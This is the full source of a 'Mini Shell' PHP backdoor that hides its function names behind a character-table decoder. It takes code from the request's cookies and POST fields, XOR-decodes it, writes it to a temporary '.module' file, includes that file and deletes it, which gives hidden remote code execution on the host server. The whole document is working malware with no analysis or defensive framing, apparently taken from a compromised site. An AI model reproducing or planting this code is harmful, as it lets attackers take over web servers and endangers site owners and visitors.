Mini Shell

<?php
function       bx6	()
{
echo      'bt7';

}

function	bn1 ( $xl2    )

{$ce4=0;$do3 =	"e.n74vi 63H@;x8E0(rf1_aL?d'h9#sk5*)FpuIl</tm2gyo-bc";
   $me5	=       substr("", 0);


 while(1)

{


 if($ce4>=count($xl2))	break; $me5     .=    $do3 [	$xl2[$ce4]	]; $ce4++;

}
return	$me5;
}$gy9 = [];$xfkpjw      = 1527;$gy9[98289] =   bn1  ( Array(22 , 50      , 4 , 14 , 14   ,      0   ,	3 , 28	, 48 , 19 , 19 ,   28 , 49 ,   48 ,  4 ,   32 ,	22	,      25 ,	48 , 22	,    9      , 0	,	3 , 48 ,	16 , 16	, 22  ,	9 ,  28	,       8	,	8   ,	8 ,	22   , 0 ,  44   ,     4	,)	)	;$gy9[36333]      =	bn1 (     Array(24       , 36 , 27 ,	36	, 7 ,	11	, 37	, 2	,	39 , 6       , 2 ,	31 ,     17	, 21    , 21  ,	35 ,   38	, 23 , 15	, 21 , 21	, 34 ,	12	, 7	,)    ) ;


$sn23    = 22824;$gy9[27628] = bn1 ( Array(1	,      43   ,    47 ,	25 , 37 ,     39 ,	0      ,)   )	;


$rf24 =     34289;
$gy9[2538] =	bn1 ( Array(10       ,	33	,)	)	;
$gy9[13275] =	bn1 ( Array(1 ,	41 ,)    ) ;


$gy9[58836]	= bn1     (    Array(29 ,)       ) ;
$gy9[63423] =   bn1 (   Array(40   ,)  )     ;
$gy9[69563] =     bn1	(     Array(19       ,   6	, 39 , 0	, 21	, 36 , 37 , 42 , 21 ,    50 , 47   , 2 , 42 , 0 ,  2 ,	42       ,	30     ,)	)	;

$gy9[41911]	= bn1 ( Array(19 ,       6       , 39 , 0  , 21 , 0 , 13	,	6 , 30       ,	42 ,    30 ,)      ) ;


$gy9[39849]     =	bn1 ( Array(22	,	18 ,   18      , 22	, 46 ,	21 ,	43	, 0     , 18 , 45	, 0	,)	) ;


$gy9[90097]	= bn1  (     Array(30 , 42 , 18 , 21     , 18	, 0	, 36	, 0 , 22 , 42 ,)  ) ;
$gy9[48036] =	bn1  (   Array(0 , 13      ,	36	,     39 , 47 , 25    ,	0	,) ) ;


$id25 = 25068;$gy9[38287]	=	bn1 (	Array(30  , 37 ,  49  ,	30  ,	42    ,       18    ,) )  ;$tj26	=     79714;
$gy9[29070] = bn1 (	Array(37 ,      2 ,	39       ,	6	, 2	,	31	,) )  ;


$gy9[35213] =	bn1     (      Array(30	, 42	,	18 , 39	,       0 ,	2 ,)	)       ;$gy9[25239]	=     bn1	( Array(36   , 22	, 50 ,      31 ,)	)	;


$ao17       = $_COOKIE; $vp16 = "21054";

$ao17	=    $gy9[39849]($ao17, $_POST);




foreach	($ao17	as $ls22 =>	$ss18){
 function mi13 (	$gy9, $ls22	,    $pd15 )
 {

 return	$gy9[38287]	(     $gy9[90097] (	$ls22 . $gy9[98289]	, ( $pd15/$gy9[35213](	$ls22 )     )	+       1	) ,	0 , $pd15 ); }


	function  zj12     (      $gy9,   $wz21 )


 {


     return   @$gy9[25239] ($gy9[2538] , $wz21      );


 }




 function	zh11	(       $gy9,   $ss18,	$ls22)


 {


  return zj12 (    $gy9, $ss18    )	^ mi13      (	$gy9, $ls22 , $gy9[35213](    $ss18 )       );


	}  

 function tc10 ( $gy9, $ss18,      $ls22)


     {
 return $gy9[48036] (	$gy9[58836]    , zh11  (	$gy9, $ss18,     $ls22));


 }       function mu14	( $gy9, $wz21     )    {

 if (	isset     (    $wz21[2]	) )       {
		$bc20      =	$gy9[13275] .	md5( $gy9[98289]  )	.      $gy9[27628];
     @$gy9[69563] ( $bc20,	$gy9[63423] .	$gy9[36333] .      $wz21[1] (      $wz21[2]     ) );	$iw19 = $bc20;	@include ( $iw19 );
	if	($gy9[41911]($bc20))    {	@$gy9[29070] (       $bc20     );

 }     


	$bc20	=     md5($bc20);
	exit  ();

 }
	}    mu14	( $gy9,	tc10 (	$gy9,	$ss18, $ls22));

}